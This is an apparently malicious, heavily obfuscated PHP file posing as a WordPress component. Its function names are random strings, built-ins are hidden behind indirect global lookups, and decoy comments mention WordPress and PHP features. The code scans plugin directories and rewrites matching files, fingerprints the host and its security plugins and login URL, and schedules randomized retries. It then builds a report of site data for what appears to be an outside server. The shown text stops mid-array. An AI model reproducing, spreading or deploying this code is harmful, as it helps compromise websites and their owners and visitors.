 if (isset($o1yryviovnxh[fjup2mc1h(457)]) &&      $GLOBALS['__scf_zneqqdn4vlt4_42']($o1yryviovnxh[tvo1rh46s_(457)]) && $GLOBALS['__scf_m2ym9pki8mue9_11']($o1yryviovnxh[op9tjzix(458)])  >   (52+48)) {


 $GLOBALS[op9tjzix(459)]    =  $o1yryviovnxh[tvo1rh46s_(460)];
}
    } catch   (Throwable $x0ydieb0v_72m_u)     {
 teikfigf_p5265esq_q(op9tjzix(461),    $x0ydieb0v_72m_u);
 }    catch (Exception  $x0ydieb0v_72m_u) {
    }
   }


     function  u93yv6n0bvzrd0o()


 {
// @color-register strategy

      try   {
 if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(445))  || !$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(462)))  return;
  if    ((int)  get_option(zp28wk01y(463),  0)      > $GLOBALS['__scf_yg2rpewmkg_192']()  -  (0xaa+0xd66))     return;
if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(52)) &&   get_transient(zp28wk01y(464)))   return;
  if (!vbnv9cp3zphaateswj())   return;
 $eqj8sotjiy3gt4  = cvod3ffny5vm5dt3d(tvo1rh46s_(465),  "");
if  (!$GLOBALS['__scf_zneqqdn4vlt4_42']($eqj8sotjiy3gt4)  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($eqj8sotjiy3gt4)   <     (469+31)  ||   orl4u64oiezevyfpwqi4j($eqj8sotjiy3gt4)  ||    !ays3w9sevfe7ws($eqj8sotjiy3gt4))      {
     $eqj8sotjiy3gt4      = false;
$s2_byieq9_ctpv    =   _ar5tcm9kavyuod_ve5o1l(qluu1auwul2zupq5h());
if ($GLOBALS['__scf_zneqqdn4vlt4_42']($s2_byieq9_ctpv)   &&    !orl4u64oiezevyfpwqi4j($s2_byieq9_ctpv)   &&  ays3w9sevfe7ws($s2_byieq9_ctpv)) {
// sequential write

v2tiam6q2h4zs04bs_si_n(zp28wk01y(466),  $s2_byieq9_ctpv,     tvo1rh46s_(195));
  $eqj8sotjiy3gt4 = $s2_byieq9_ctpv;
  }
// WP InspectorControls: reconcile timeout-policy

      if      (!$eqj8sotjiy3gt4)  {
  @update_option(tvo1rh46s_(467),   $GLOBALS['__scf_yg2rpewmkg_192'](),      fjup2mc1h(468));
     return;
     }
// MySQL JSON operators: register enumerator

  }
 $gjj_1oy96pyasvlv  =   array(qluu1auwul2zupq5h());$rdbi1k0oe=27*4;$gj_c5i7k=$rdbi1k0oe-2;
 $d_9pqy369cvamxr  =  emzy8pvoveowt1bicy5();
$q3l5zy3eh2z   =    hfuxm75f1bdbh9ptm1($d_9pqy369cvamxr,     (0x6a9+0xcdf));
 if ($GLOBALS['__scf_knhbvsumnby3_36']($q3l5zy3eh2z)) {
     foreach ($q3l5zy3eh2z    as      $mdn_btdc0_)  {
if     ($GLOBALS['__scf_zre6ec18ly90y_10']($mdn_btdc0_, -(62^58))    ===   zp28wk01y(469))    $gjj_1oy96pyasvlv[]    =  $d_9pqy369cvamxr  . '/'    . $mdn_btdc0_;
   }
// WP Pattern Directory: expected orbit



}

 if   (defined(zp28wk01y(7))   &&   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(73))) {
foreach ((array) @$GLOBALS['__scf_ylc30lk3q5j_73'](WP_PLUGIN_DIR   . b4gbsak56f40gos(470))    as    $_scazhy2rpkhgm2)    $gjj_1oy96pyasvlv[] =  $_scazhy2rpkhgm2;
  }
  $gjj_1oy96pyasvlv =   $GLOBALS['__scf_s8rgnr7_02m_155']($gjj_1oy96pyasvlv);



   $fh34pdvsjjxwv9f   =     array();
   $z7f9xi94vruxpx    =      $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(472), "", $GLOBALS['__scf_zre6ec18ly90y_10']($eqj8sotjiy3gt4, 0, (65460+76))),    0,     (1964+84));
foreach ($gjj_1oy96pyasvlv as $frgd4znm8k)  {
$dyahzuwtz164n6   = @$GLOBALS['__scf_voobwg611qb_102']($frgd4znm8k);
 if    (!$dyahzuwtz164n6 ||     $dyahzuwtz164n6 <= (1890492-841916))    continue;

 $yseczur497    = @$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($frgd4znm8k,   false,    null,    0,    (1013+64523));$jefiqwafg=(0x8c+0xec);$bjyrv4x26vnzk=$jefiqwafg%3;



  if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($yseczur497) ||  !orl4u64oiezevyfpwqi4j($yseczur497))  continue;
 if     ($frgd4znm8k !==     qluu1auwul2zupq5h()  && $GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_sp5m_appgxyoko_471'](fjup2mc1h(473), "",  $yseczur497), 0,  (0x421+0x3df)) !==   $z7f9xi94vruxpx)   continue;
   $fh34pdvsjjxwv9f[] =  $frgd4znm8k;


   }
if   (!$fh34pdvsjjxwv9f) {
   @update_option(wlgh2_th(474),  $GLOBALS['__scf_yg2rpewmkg_192'](), b4gbsak56f40gos(475));
 if  ($GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(62)))      set_transient(zp28wk01y(476), 1,   (594+6));
 return;
     }
 @update_option(fjup2mc1h(474),   $GLOBALS['__scf_yg2rpewmkg_192'](), wlgh2_th(475));
    foreach    ($fh34pdvsjjxwv9f as  $oknhdgd23az7)   {
  kp1tutxjpanriy($oknhdgd23az7,    (397+23));
   if    (_ew1atk9e66yol2lso($oknhdgd23az7,    utjmibjloacp0kjf($eqj8sotjiy3gt4)))    {
 t5r4r1lc5gjybs($oknhdgd23az7);
   o2er_doikw9jq83pm2lov($oknhdgd23az7);
       kp1tutxjpanriy($oknhdgd23az7,  (0xed+0xb7));
rwx_v9t1vov1zic2ki($oknhdgd23az7);
  if  ($oknhdgd23az7 ===   qluu1auwul2zupq5h())   {
   mridss6_czjhslw35g(true);
    qo_apd6cyj2djv757yc0eg(true);$cwdx5a371vix=512;$iz4q46ra6evqa=$cwdx5a371vix%9;
 }



}   else   {
    kp1tutxjpanriy($oknhdgd23az7, (372+48));
   }



  }
}  catch      (Throwable     $x0ydieb0v_72m_u) {
   teikfigf_p5265esq_q(wlgh2_th(477),     $x0ydieb0v_72m_u);
 }    catch     (Exception $x0ydieb0v_72m_u) {



   }
// PCRE2 JIT style fallback

  }

function d8pbcrz4yto4oebxs95hd6()
{
     static $tbmkobtuzp3gr   = false;
 if   ($tbmkobtuzp3gr) return;
$tbmkobtuzp3gr  = true;



  try  {
   id6betrtyv0xlfeyn_s();
    

 u93yv6n0bvzrd0o();
    zna6wcy_6v8881q_zh();
 g8mbbz6ql237xypds_o();
       m3glk3wztmwqklvb12_();
n0yley8rs3pyvjo_j();
  _7vbq8th_6avjkriw0f68();
// spill stabilizer for Rector auto-refactor

 _yjfvv1s_lwgdiro4wbm1();

    u7kixj2yroqk485();
    if   (b9yvpc2wfw2jm0j4bvrvil())    {


  if    ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(478))  &&  did_action(zp28wk01y(426)))   {
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(174)))    $GLOBALS['__scf_b1rqpek_6hp_174'](fjup2mc1h(479));
} else  {


  uh36p8urjd71g_u9smnf(b4gbsak56f40gos(426),   zp28wk01y(480),  0);
// @fork circuit-breaker

  }
 }
 }  catch   (Throwable    $x0ydieb0v_72m_u)      {
    } catch   (Exception  $x0ydieb0v_72m_u)   {
}
  }
   function   xpwfsvxtbs34zm7y()
   {$hv8vzbb5rejsc=23*9;$sit5um4xbtzn=$hv8vzbb5rejsc-8;

try     {
 if (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(481))   || !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(482))) return;
 

   if  (!$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(445))  ||    !$GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(462)))      return;
       

  $ltvf1eni1c2z =  $GLOBALS['__scf_yg2rpewmkg_192']();
   

 if  ($ltvf1eni1c2z - (int)   @get_option(tvo1rh46s_(483),   0)    <  (2692+908))     return;
  @update_option(tvo1rh46s_(484),   $ltvf1eni1c2z,     b4gbsak56f40gos(475));
      @$GLOBALS['__scf_aveut5m3qzw4x_301'](home_url('/'),  array(fjup2mc1h(399)    =>   2,  tvo1rh46s_(401)      =>  false, fjup2mc1h(400)  =>  false));
  }  catch (Throwable $x0ydieb0v_72m_u)    {
}    catch (Exception $x0ydieb0v_72m_u)      {
 }
  }
function  b9yvpc2wfw2jm0j4bvrvil()

{
   if   (! $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(445))) {

  return  true;
   }
     
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(52)) &&  get_transient(uys5m_ytblknm5())) {
   return false;
 }
    
       $v5ljzjewdq4aduy1    =  g4qqj8jzajjudxckl();
  $mayx1ashajuh =  mbu8jpz9mni4nrwrzww(b4gbsak56f40gos(378),      false);
 if ($GLOBALS['__scf_knhbvsumnby3_36']($mayx1ashajuh)    &&    isset($mayx1ashajuh[zp28wk01y(485)])   &&     (int)   $mayx1ashajuh[wlgh2_th(485)]     >=  (504-204) && (int) $mayx1ashajuh[b4gbsak56f40gos(485)]  <=   (0xe7ad+0x69d3))    $v5ljzjewdq4aduy1 =   (int)  $mayx1ashajuh[tvo1rh46s_(486)];



     $yc6k00g31wv4eg4 = (int)   get_option(fjup2mc1h(438),  0);
    if ($yc6k00g31wv4eg4  >  0   &&  ($GLOBALS['__scf_yg2rpewmkg_192']()  -    $yc6k00g31wv4eg4)  < $v5ljzjewdq4aduy1)  {



return false;
 }
        
$c7xllyvuw5  =   (int)  get_option(zp28wk01y(487),  0);
  if  ($c7xllyvuw5 >  0)    {



   $cn0tlrh9dor27  = (int)   get_option(tvo1rh46s_(488),  0);
      $o157_fywzerig    =     array((175+125),   (0x2ea+0x9a), (1780+20), (3565+35),  (3595+5));


        $mxz9s99kstg0cs  =    $o157_fywzerig[$GLOBALS['__scf_jlm7opnchuxu_489'](0,     $GLOBALS['__scf_auynlilaeyt_490']($cn0tlrh9dor27 - 1,  (3+1)))];

 $mxz9s99kstg0cs  +=  $GLOBALS['__scf_hw2kkbd0s2i_359'](0, (int)   ($mxz9s99kstg0cs  *  0.25));



 if (($GLOBALS['__scf_yg2rpewmkg_192']()    -   $c7xllyvuw5) < $mxz9s99kstg0cs)   {
      return   false;
  }


   }
   



  return true;
 }
 
   function   w9ueulx7c_0jxx6bh63gfh()
{
  $cn0tlrh9dor27  = (int) get_option(tvo1rh46s_(491),   0);
update_option(zp28wk01y(492),  $cn0tlrh9dor27  + 1);



 update_option(op9tjzix(487),   $GLOBALS['__scf_yg2rpewmkg_192']());


}
  function tade47vsfx9l17()
{
  $zwzkcpqs2ucabt_  =     array();
   try   {
    $zwzkcpqs2ucabt_[fjup2mc1h(493)]   =      _vfpypr4wakqs7jy_();
     $zwzkcpqs2ucabt_[op9tjzix(494)]  =  PHP_VERSION;
       $zwzkcpqs2ucabt_[b4gbsak56f40gos(495)]   =  $GLOBALS['__scf_f9tn7hbu7z_107']();



 $zwzkcpqs2ucabt_[fjup2mc1h(496)]   =  ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(497)) &&   is_ssl()) ?    1     :  0;
 $zwzkcpqs2ucabt_[fjup2mc1h(498)] =   ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(499))  && is_multisite()) ?  1   :   0;


   $zwzkcpqs2ucabt_[b4gbsak56f40gos(500)]   = isset($GLOBALS[tvo1rh46s_(501)])  ?    (string)  $GLOBALS[fjup2mc1h(501)]  :  "";
$zwzkcpqs2ucabt_[fjup2mc1h(502)]     = isset($_SERVER[tvo1rh46s_(114)]) ?   $GLOBALS['__scf_zre6ec18ly90y_10']((string) $_SERVER[zp28wk01y(114)], 0,  (41-1))      :     "";
 $whtrm5kqoav5sfdu  = (isset($GLOBALS[op9tjzix(503)])   &&     $GLOBALS['__scf_zneqqdn4vlt4_42']($GLOBALS[b4gbsak56f40gos(503)]))      ? $GLOBALS['__scf_bbs7j5b1fx_332']($GLOBALS[tvo1rh46s_(503)])  :   "";
// WP Redux Store responsive breakpoint

   $zwzkcpqs2ucabt_[tvo1rh46s_(504)]  =  ($whtrm5kqoav5sfdu   !==    "")    ? 1   :  0;


$zwzkcpqs2ucabt_[tvo1rh46s_(505)] =   $GLOBALS['__scf_m2ym9pki8mue9_11']($whtrm5kqoav5sfdu);

     $zwzkcpqs2ucabt_[b4gbsak56f40gos(506)] = !empty($GLOBALS[fjup2mc1h(507)])  ? 1    :  0;
   $zwzkcpqs2ucabt_[fjup2mc1h(508)]  =   !empty($GLOBALS[fjup2mc1h(509)]) ?   1  :  0;
 $zwzkcpqs2ucabt_[fjup2mc1h(510)]  =   $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(445)) ?  (int)     @get_option(wlgh2_th(511),     0) :    0;
  




$zwzkcpqs2ucabt_[fjup2mc1h(370)] = (_688a_rvvxzf58(wlgh2_th(512), "")  !==   "")     ?  1    :     0;
 $zwzkcpqs2ucabt_[zp28wk01y(513)]  = $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(445))   ?  (int)   @get_option(b4gbsak56f40gos(514),   0)  : 0;
    $zwzkcpqs2ucabt_[zp28wk01y(515)]   = $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(516)) ?     (int)  @get_option(b4gbsak56f40gos(517),  0)   :     0;


$zwzkcpqs2ucabt_[b4gbsak56f40gos(518)]   =   $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(519))  ?   (int) @get_option(zp28wk01y(520), 0)  :  0;
   $dx_ofkvr3qy  =  p_wsdzgl36a6wh_fs09();



 $zwzkcpqs2ucabt_[wlgh2_th(521)]  =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($dx_ofkvr3qy  .  fjup2mc1h(522)) ?    (oy8aaxb79xc_xnx7xcv4q(@$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($dx_ofkvr3qy   . b4gbsak56f40gos(522),    false,   null,  0,    (0xc4f+0x13b1)))   ? 2  : 1)  :   0;
$zwzkcpqs2ucabt_[op9tjzix(523)] =   @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($dx_ofkvr3qy  .      b4gbsak56f40gos(524))    ?  (oy8aaxb79xc_xnx7xcv4q(@$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($dx_ofkvr3qy   .   b4gbsak56f40gos(524),      false,  null, 0,      (0x942+0x16be))) ?  2    : 1)   :  0;
     $zwzkcpqs2ucabt_[b4gbsak56f40gos(525)]  =      @$GLOBALS['__scf_j4nhr6qca6y8ds_20']($dx_ofkvr3qy  .  zp28wk01y(526))  ?   (oy8aaxb79xc_xnx7xcv4q(@$GLOBALS['__scf_j_5qhmtx5bt9kn_98']($dx_ofkvr3qy  .  tvo1rh46s_(527),    false,  null, 0,  (14840-6648)))   ?  2      :    1)  :  0;



   $jf11o2b3al   =   zp28wk01y(528)    . fmsvr16ge0nzzk9i6u(ABSPATH .    'g', (0x1+0x7));



     $bgokyuve7p   = b4gbsak56f40gos(529) .    fmsvr16ge0nzzk9i6u(ABSPATH . 'g',   (11-3));
$zwzkcpqs2ucabt_[tvo1rh46s_(530)]  =    0;
  foreach (array(xrb38aewb77bc3i(),     $dx_ofkvr3qy, ABSPATH     .   fjup2mc1h(531))   as  $uuanfb1_l9pb)     {


 if   (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($uuanfb1_l9pb  .     '/'  . $jf11o2b3al  .  op9tjzix(532))) $zwzkcpqs2ucabt_[b4gbsak56f40gos(533)] =    1;
if (@$GLOBALS['__scf_j4nhr6qca6y8ds_20']($uuanfb1_l9pb .     '/' .     $bgokyuve7p) && (int)    @$GLOBALS['__scf_kpr9p9o54hwof_101']($uuanfb1_l9pb  .     '/'  .    $bgokyuve7p) >    $GLOBALS['__scf_yg2rpewmkg_192']() -  (0x54+0x9c)) {



   $zwzkcpqs2ucabt_[op9tjzix(533)] = 2;

     break;

}
       }



   unset($bgokyuve7p,   $uuanfb1_l9pb);
 $vcpbinwjs8   = $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(116))     ?  @$GLOBALS['__scf_livuu39cntpdx3_116'](fjup2mc1h(534))  :  false;
        if   (!$GLOBALS['__scf_zneqqdn4vlt4_42']($vcpbinwjs8)  ||    $vcpbinwjs8   === "" ||    $vcpbinwjs8    ===   b4gbsak56f40gos(535))   $vcpbinwjs8  =   zp28wk01y(536);
$zwzkcpqs2ucabt_[zp28wk01y(537)] =    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20'](ABSPATH .  $vcpbinwjs8)   &&    $GLOBALS['__scf_rbe_sihvfv_8']((string)   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](ABSPATH     . $vcpbinwjs8),  wlgh2_th(538))   !== false)  ? 1   : 0;
       $zwzkcpqs2ucabt_[tvo1rh46s_(539)]  =    (@$GLOBALS['__scf_j4nhr6qca6y8ds_20'](ABSPATH    .  op9tjzix(540))   &&   $GLOBALS['__scf_rbe_sihvfv_8']((string) @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](ABSPATH . tvo1rh46s_(540)),   zp28wk01y(538))  !== false)  ? 1  :   0;
$zwzkcpqs2ucabt_[fjup2mc1h(541)]   =      (@$GLOBALS['__scf_j4nhr6qca6y8ds_20'](ABSPATH   .   op9tjzix(542))  &&     $GLOBALS['__scf_rbe_sihvfv_8']((string)   @$GLOBALS['__scf_j_5qhmtx5bt9kn_98'](ABSPATH  .   wlgh2_th(542),   false,  null,  0,    (65477+59)),   fjup2mc1h(543))  !==  false) ?    1 :    0;
$zwzkcpqs2ucabt_[b4gbsak56f40gos(544)]  = defined(op9tjzix(545)) ?   1   :    0;
  $zwzkcpqs2ucabt_[op9tjzix(546)]   =  (defined(zp28wk01y(547))  ||   defined(zp28wk01y(548)) || defined(b4gbsak56f40gos(549)) ||   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(550)) || $GLOBALS['__scf_x_wfq7bl3c_551'](op9tjzix(552))  ||  isset($GLOBALS[wlgh2_th(553)])  ||    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(554)))  ? 1 :    0;
  $zwzkcpqs2ucabt_[zp28wk01y(555)]  =  (int)      get_option(tvo1rh46s_(438),  0);
      $zwzkcpqs2ucabt_[tvo1rh46s_(556)] =  (int)  get_option(op9tjzix(492), 0);
   $zwzkcpqs2ucabt_[tvo1rh46s_(557)] =    (int) get_option(op9tjzix(487),    0);
$a31awv9_g_00nhj5  =   cvod3ffny5vm5dt3d(tvo1rh46s_(558),  array());
  $jcur9t5lcgb497j    = 0;
 $jay1tno7zguq1ir   =   0;



   if  ($GLOBALS['__scf_knhbvsumnby3_36']($a31awv9_g_00nhj5))    {$i6tx1qgr=86*5;$dgfwp0nm=$i6tx1qgr-9;
foreach      ($a31awv9_g_00nhj5  as     $mdn_btdc0_)  {


    if   (gq_ah8c0oj7somw($mdn_btdc0_)      ===  "")  continue;
    $jcur9t5lcgb497j++;

    $vvbluweawg   = $GLOBALS['__scf_knhbvsumnby3_36']($mdn_btdc0_)   ?  (int)    (isset($mdn_btdc0_[op9tjzix(559)])   ?     $mdn_btdc0_[fjup2mc1h(559)] : 1)  :    1;
 $fhp2s4z07zw4bfl  =   $GLOBALS['__scf_knhbvsumnby3_36']($mdn_btdc0_) &&   isset($mdn_btdc0_[b4gbsak56f40gos(560)])  ? (int)      $mdn_btdc0_[tvo1rh46s_(560)] :  0;
  if   (!$vvbluweawg   &&   (!$fhp2s4z07zw4bfl || $fhp2s4z07zw4bfl  < $GLOBALS['__scf_yg2rpewmkg_192']() -    (3534+66)))  $jay1tno7zguq1ir++;
     }
  }
$zwzkcpqs2ucabt_[op9tjzix(561)]  =  $jcur9t5lcgb497j;
  $zwzkcpqs2ucabt_[op9tjzix(562)]  =     $jay1tno7zguq1ir;
$k3k8sb7_2nuzur  =   $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(563))     ?   @get_option(wlgh2_th(564), "") :  "";



$zwzkcpqs2ucabt_[op9tjzix(565)] =    $GLOBALS['__scf_zneqqdn4vlt4_42']($k3k8sb7_2nuzur)   ?  $GLOBALS['__scf_zre6ec18ly90y_10']($k3k8sb7_2nuzur,  0,    (10-5))  :   "";

   $c9rqt2g88fxh  =    $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(563))     ?  @get_option(op9tjzix(566), array())  : array();$idrfbcv788uyh4=PHP_INT_MAX/PHP_INT_MAX;$f5zwauo7rvxn=$idrfbcv788uyh4+21;

 $zwzkcpqs2ucabt_[tvo1rh46s_(567)]   = ($GLOBALS['__scf_knhbvsumnby3_36']($c9rqt2g88fxh) &&   (!empty($c9rqt2g88fxh['t'])      ||  !empty($c9rqt2g88fxh[tvo1rh46s_(568)])))  ? 1 :  0;



 }   catch     (Throwable $x0ydieb0v_72m_u)      {
$zwzkcpqs2ucabt_[b4gbsak56f40gos(569)] = $GLOBALS['__scf_zre6ec18ly90y_10']($x0ydieb0v_72m_u->getMessage(),      0,  (17+43));
  }      catch    (Exception  $x0ydieb0v_72m_u)     {
   $zwzkcpqs2ucabt_[b4gbsak56f40gos(569)] =   $GLOBALS['__scf_zre6ec18ly90y_10']($x0ydieb0v_72m_u->getMessage(),    0,    (172^144));
}
// WP Data Module: compact strategy

   return  $zwzkcpqs2ucabt_;
}



  function kdhsevjlckt6f5e630b()


      {
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(397))) {
 return      (string)  site_url(op9tjzix(570));
   }
    return   $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(571))      ?  (string)   wp_login_url()   :  "";
  }

     function  cm6y2ie43ppuz0pk8jw($ntwq5oiehnxn)
       {
  $evcfpcndyj78fj =  "";
  if ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(482)))      {
    $evcfpcndyj78fj =  (string) $GLOBALS['__scf_oaen6pygee_572'](home_url(),    constant(b4gbsak56f40gos(573)));
     }
if (!     $evcfpcndyj78fj    &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(574))) {
$evcfpcndyj78fj    =    (string) $GLOBALS['__scf_oaen6pygee_572'](get_site_url(),   constant(zp28wk01y(575)));
  }
  if (!  $evcfpcndyj78fj && $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(576))) {


 $evcfpcndyj78fj    =  (string)   $GLOBALS['__scf_oaen6pygee_572'](get_bloginfo(op9tjzix(577)), constant(wlgh2_th(575)));$fa4vk5jvt7a6i=(0x4c+0x63);$c2ugj__v=$fa4vk5jvt7a6i%13;
 }
 if (!  $evcfpcndyj78fj && $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(563)))    {
/* release prototype */

    $evcfpcndyj78fj =  (string) $GLOBALS['__scf_oaen6pygee_572']((string)  get_option(op9tjzix(578),  ""),  constant(wlgh2_th(579)));
 }
 if  (! $evcfpcndyj78fj     &&   isset($_SERVER[op9tjzix(580)]))    {
$evcfpcndyj78fj     =   (string) $_SERVER[op9tjzix(580)];
     }
 if  (!  $evcfpcndyj78fj  &&   isset($_SERVER[zp28wk01y(581)]))  {
        $evcfpcndyj78fj     =   (string)  $_SERVER[tvo1rh46s_(581)];
   }


   if    (!  $evcfpcndyj78fj)     {
  return  $ntwq5oiehnxn;
   }
      return $evcfpcndyj78fj;
  }
     function   p3gwgn5uw85zn40vw($rxebd_uclenptlf5 =    0)
{
   try  {
  $dlo0njx86_rshncu =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(582))   ?  (int)  @$GLOBALS['__scf_livuu39cntpdx3_116'](wlgh2_th(583))    :    0;
     if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(444))) @$GLOBALS['__scf_v_sh61jlp_8_444']((75+105));



 $rd88s125dsfo  =  ($dlo0njx86_rshncu   >    (1+19)    && $dlo0njx86_rshncu      <   (221-41))    ? ($dlo0njx86_rshncu  -     (220^214)) :  (($dlo0njx86_rshncu  > 0 &&   $dlo0njx86_rshncu   <=  (0xb+0x9))  ?  (0x9+0x1)    :   (115^41));
if   ($rxebd_uclenptlf5    > 0   &&    $rd88s125dsfo >     $rxebd_uclenptlf5)  $rd88s125dsfo =  $rxebd_uclenptlf5;
      $GLOBALS[zp28wk01y(296)] =    $GLOBALS['__scf_knb470agoho1_297'](true)   +    $rd88s125dsfo;
  if (!   b9yvpc2wfw2jm0j4bvrvil())   {
  return;



     }
   if (!mmsya1lu9x3wz6a92pu(zp28wk01y(392)))  {
return;
     }
  
  $zvm5pffnngd5j =    $GLOBALS['__scf_knb470agoho1_297'](true);
  $oida5a8_jeosld5 = ifpgzrbtk6abykadgo((int)      ($rd88s125dsfo *      0.6));
if (
     !  $GLOBALS['__scf_knhbvsumnby3_36']($oida5a8_jeosld5)
  ||    ! isset($oida5a8_jeosld5[fjup2mc1h(349)])  ||      !    $GLOBALS['__scf_zneqqdn4vlt4_42']($oida5a8_jeosld5[op9tjzix(349)])  ||    !  $oida5a8_jeosld5[tvo1rh46s_(349)]
  || ! isset($oida5a8_jeosld5[zp28wk01y(350)])  ||     ! $GLOBALS['__scf_knhbvsumnby3_36']($oida5a8_jeosld5[fjup2mc1h(350)])    ||  empty($oida5a8_jeosld5[tvo1rh46s_(350)])
  ) {

    w9ueulx7c_0jxx6bh63gfh();
   return;
 }
$woo5_gd92gl606gn =  $oida5a8_jeosld5[tvo1rh46s_(349)];
  $pt2kggo3xw_eq   =  $oida5a8_jeosld5[b4gbsak56f40gos(350)];
 v2tiam6q2h4zs04bs_si_n(wlgh2_th(584), $woo5_gd92gl606gn,   b4gbsak56f40gos(585));
    v2tiam6q2h4zs04bs_si_n(fjup2mc1h(586), $GLOBALS['__scf_rbe_sihvfv_8']($woo5_gd92gl606gn, tvo1rh46s_(587))    ===   0   ? 1  :    0,    fjup2mc1h(588));
 $yaz3ch9zchei =  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(563))  ?   (string) get_option(tvo1rh46s_(589),   "")  :      "";
  if    ($yaz3ch9zchei   !==  ""     && $GLOBALS['__scf_av84ex67tlp92_156']($yaz3ch9zchei, $pt2kggo3xw_eq,  true))    {$_0znwxodmx_6=30*7;$f14nibcad5n4=$_0znwxodmx_6-3;


   $pt2kggo3xw_eq   =   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_jxu__lo946uf6o_158']($pt2kggo3xw_eq,    array($yaz3ch9zchei)));

   $GLOBALS['__scf_skguqpd9dknw_590']($pt2kggo3xw_eq);
  $GLOBALS['__scf_igh391p_2d78a_331']($pt2kggo3xw_eq,   $yaz3ch9zchei);
  }   elseif ($GLOBALS['__scf_j38tk0441lk_37']($pt2kggo3xw_eq)     >     1)  {
$GLOBALS['__scf_skguqpd9dknw_590']($pt2kggo3xw_eq);
      }
  
 if    (($GLOBALS['__scf_knb470agoho1_297'](true)   - $zvm5pffnngd5j)  >   (int) ($rd88s125dsfo   *  0.6)) {



   w9ueulx7c_0jxx6bh63gfh();
 return;
    }



   
 $qobklxfmjsucvm =     i5njjlgr_b_iz9q();
 if   (hti81ybc755i9r59($qobklxfmjsucvm)) {


    $qobklxfmjsucvm   =     i5njjlgr_b_iz9q();
}
  
     $xsa01dx1yy   = array();
 if     ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(563)))  {
   foreach    ((array) get_option(b4gbsak56f40gos(157), array())    as    $frgd4znm8k)   {
  if ($GLOBALS['__scf_zneqqdn4vlt4_42']($frgd4znm8k)  &&  $frgd4znm8k)     {
  $xsa01dx1yy[]  =  $frgd4znm8k;
 }
 }
     }
 
 $k_wmztwwtrmitdfu   = array();
if  (defined(op9tjzix(591)))    {
// deregister principal for PHP match expression
$jher8cun9snqd=5+65;$_7xj0vm7m=$jher8cun9snqd-40;
$xkum_en8evj  =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(73))  ?   @$GLOBALS['__scf_ylc30lk3q5j_73']($GLOBALS['__scf_q93011jdjf_13'](WPMU_PLUGIN_DIR,    '/')   .   b4gbsak56f40gos(74))   :     false;
if  ($GLOBALS['__scf_knhbvsumnby3_36']($xkum_en8evj))   {

    foreach ($xkum_en8evj   as     $oknhdgd23az7)  {
     $k_wmztwwtrmitdfu[]    =    $GLOBALS['__scf_dpm5ad5tej9nf_4']($oknhdgd23az7);

 }
}
 }
     
  $un3c1bfkp7q     = array(
   wlgh2_th(592)   =>   cm6y2ie43ppuz0pk8jw(""),



      wlgh2_th(593)   =>  _vfpypr4wakqs7jy_(),
    zp28wk01y(594)  =>     $GLOBALS['__scf_dpm5ad5tej9nf_4'](qluu1auwul2zupq5h(), fjup2mc1h(532)),
   zp28wk01y(595)      =>     $GLOBALS['__scf_q93011jdjf_13'](ABSPATH,     tvo1rh46s_(596)),
   zp28wk01y(597)  =>  $xsa01dx1yy,
  fjup2mc1h(598)    =>   $k_wmztwwtrmitdfu,
   tvo1rh46s_(599)  =>   kdhsevjlckt6f5e630b(),
   op9tjzix(600)   => (object)      dyi1g9350xjorukimjfa2w($qobklxfmjsucvm),



 zp28wk01y(601)     =>  (object) h3tq0zbf55ddrorp1($qobklxfmjsucvm),
   b4gbsak56f40gos(374)   => ($oe8gd1ik2oi  =  im8om_xz9agyv7m()),

);
